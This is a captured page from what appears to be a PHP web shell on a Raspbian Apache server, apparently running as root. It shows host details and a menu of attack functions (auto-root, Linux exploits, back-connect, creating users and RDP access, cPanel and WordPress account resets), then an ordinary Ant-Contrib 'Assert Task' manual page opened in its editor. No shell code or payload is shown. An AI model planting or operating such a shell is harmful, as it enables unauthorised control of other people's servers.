Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
ant-contrib /
manual /
tasks /
[ HOME SHELL ]
Name
Size
Permission
Action
antcallback_task.html
4.29
KB
-rw-r--r--
antclipse_task.html
15.34
KB
-rw-r--r--
antfetch_task.html
3.96
KB
-rw-r--r--
assert_task.html
5.78
KB
-rw-r--r--
compilewithwalls.html
6.56
KB
-rw-r--r--
for.html
8.64
KB
-rw-r--r--
foreach.html
5.23
KB
-rw-r--r--
forget.html
1.72
KB
-rw-r--r--
get-cookie_task.html
2.65
KB
-rw-r--r--
get-method_task.html
524
B
-rw-r--r--
head-method_task.html
523
B
-rw-r--r--
http-client_type.html
6.16
KB
-rw-r--r--
http-state_type.html
4.81
KB
-rw-r--r--
if.html
3.24
KB
-rw-r--r--
importurl.html
7.63
KB
-rw-r--r--
index.html
365
B
-rw-r--r--
inifile.html
3.17
KB
-rw-r--r--
limit_task.html
4.42
KB
-rw-r--r--
math_task.html
9.92
KB
-rw-r--r--
method_task_common.html
7.26
KB
-rw-r--r--
more_conditions.html
6.54
KB
-rw-r--r--
osfamily.html
1.07
KB
-rw-r--r--
outofdate.html
10.1
KB
-rw-r--r--
pathtofileset.html
2.46
KB
-rw-r--r--
performance_monitor.html
4.36
KB
-rw-r--r--
post-method_task.html
4.13
KB
-rw-r--r--
post_task.html
7.63
KB
-rw-r--r--
propertycopy.html
2.28
KB
-rw-r--r--
propertyregex.html
4.57
KB
-rw-r--r--
propertyselector.html
4.18
KB
-rw-r--r--
relentless.html
4.6
KB
-rw-r--r--
runtarget.html
834
B
-rw-r--r--
server_tasks.html
8.5
KB
-rw-r--r--
shellscript.html
4.16
KB
-rw-r--r--
sortlist.html
4.78
KB
-rw-r--r--
stopwatch_task.html
2.34
KB
-rw-r--r--
switch.html
2.21
KB
-rw-r--r--
throw.html
1.1
KB
-rw-r--r--
timestampselector.html
4.36
KB
-rw-r--r--
toc.html
3.41
KB
-rw-r--r--
trycatch.html
2.75
KB
-rw-r--r--
urlencode.html
2.47
KB
-rw-r--r--
variable_task.html
6.02
KB
-rw-r--r--
verifydesign.html
14.37
KB
-rw-r--r--
verifylegacytutorial.html
4.34
KB
-rw-r--r--
verifynewprojtutorial.html
1.54
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : assert_task.html
<html> <head> <META http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> <title> Assert Task</title> <meta content="DocBook XSL Stylesheets V1.60.1" name="generator"> <link rel="home" href="index.html" title="Antelope Users Guide"> <link rel="up" href="bk03.html" title="Additional Ant Tasks"> <link rel="previous" href="bk03ch03.html" title="Chapter 3. Installation"> <link rel="next" href="bk03ch05.html" title="Chapter 5. If Task"> </head> <body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF"> <div class="chapter" lang="en"> <div class="titlepage"> <div> <div> <h2 class="title"> <a name="Assert"> </a> Assert Task</h2> </div> </div> <div> </div> </div> <p> The Assert task adds an assertion capability to Ant projects. This task works in a manner very similar to the Java <tt class="computeroutput">assert</tt> keyword, and provides a limited "design by contract" facility to Ant. This is very useful for testing build scripts prior to putting them into production. </p> <p> The Assert task verifies that a particular boolean condition is met, and throws a BuildException if it is not. </p> <p> Also like Java's <tt class="computeroutput">assert</tt> keyword, the Assert task must be 'turned on' using the property <tt class="computeroutput">ant.enable.asserts</tt> . If not set, or is set to <tt class="computeroutput"> false</tt> , the Assert task works exactly like the Sequential task. If the <a href="variable_task.html" title="Variable Task"> Variable task</a> is used to define this property, then it can be turned on and off as needed throughout a build. </p> <p> This task can hold other tasks including Assert. </p> <p> Thie assert task may contain a single conditional element known by ANT, or one of the following additional conditions: <a href="more_conditions.html" title="More Conditions"> IsPropertyTrue</a> , <a href="more_conditions.html" title="More Conditions"> IsPropertyFalse</a> , <a href="more_conditions.html" title="More Conditions"> StartsWith</a> , <a href="more_conditions.html" title="More Conditions"> EndsWith</a> , <a href="more_conditions.html" title="More Conditions"> IsGreaterThan</a> , <a href="more_conditions.html" title="More Conditions"> IsLessThan</a> and conditions. See the If task for examples of using these conditionals. </p> <p> <div class="table"> <a name="N10583"> </a> <p class="title"> <b> Table 4.1. Assert Task Attributes</b> </p> <table summary="Assert Task Attributes" border="1"> <colgroup> <col> <col> <col> <col> </colgroup> <thead> <tr> <th> Attribute</th> <th> Description</th> <th> Default</th> <th> Required</th> </tr> </thead> <tbody> <tr> <td> name</td> <td> The name of the property to test for. This is a shortcut for specifying an <equals> condition.</td> <td> none</td> <td> No. However, if specified, the 'value' attribute must also be present</td> </tr> <tr> <td> value</td> <td> The value to test for, implies . If the value in the project is different than this value, a BuildException will be thrown and the build will stop.</td> <td> none</td> <td> No, unless the 'name' attribute is specified.</td> </tr> <tr> <td> execute</td> <td> Should the tasks contained in this task be executed? It may be useful to set this to false when testing build files.</td> <td> True</td> <td> No</td> </tr> <tr> <td> failonerror</td> <td> Should the build halt if the assertion fails? Setting this to false is contrary to the intented use of assertions, but may be useful in certain situations. </td> <td> True</td> <td> No</td> </tr> </tbody> </table> </div> </p> <h2> Examples </h2> <p> In the following example, the first <tt class="computeroutput"> assert</tt> task checks that the <tt class="computeroutput"> wait</tt> property exists and does not execute the <tt class="computeroutput"> echo</tt> and <tt class="computeroutput"> sleep</tt> tasks. The second <tt class="computeroutput"> assert</tt> task checks that the <tt class="computeroutput"> wait</tt> property exists, has a value of 2, and executes the <tt class="computeroutput"> echo</tt> task. </p> <p> <table border="0" bgcolor="#E0E0E0"> <tr> <td> <pre class="programlisting"> <property name="wait" value="2"/> <assert execute="false"> <isset property="wait" /> <sequential> <echo> Waiting ${wait} seconds... Click the red button to stop waiting. </echo> <sleep seconds="${wait}"/> </sequential> </assert> <assert name="wait" value="2" execute="true"> <sequential> <echo>done waiting!</echo> </sequential> </assert> </pre> </td> </tr> </table> </p> <p> The next example shows Assert being used in a unit test for the "limit" task: <table border="0" bgcolor="#E0E0E0"> <tr> <td> <pre class="programlisting"> <property name="ant.enable.asserts" value="true"/> <target name="test2"> <!-- should not stop 'sleep' task, should print out '_passed_' --> <stopwatch name="timer"/> <limit maxwait="5"> <sleep seconds="1"/> <echo>_passed_</echo> </limit> <stopwatch name="timer" action="total"/> <assert message="Too much time."> <islessthan arg1="${timer}" arg2="2"/> </assert> </target> </pre> </td> </tr> </table> </p> <p> If the <tt class="computeroutput"> ant.enable.asserts</tt> property is set to false, then in the above example, the <tt class="computeroutput"> echo</tt> , <tt class="computeroutput"> sleep</tt> , and <tt class="computeroutput"> echo</tt> tasks will all execute. </p> <hr> <p align="center">Copyright © 2003 Ant-Contrib Project. All rights Reserved.</p> </div> </body> </html>
Close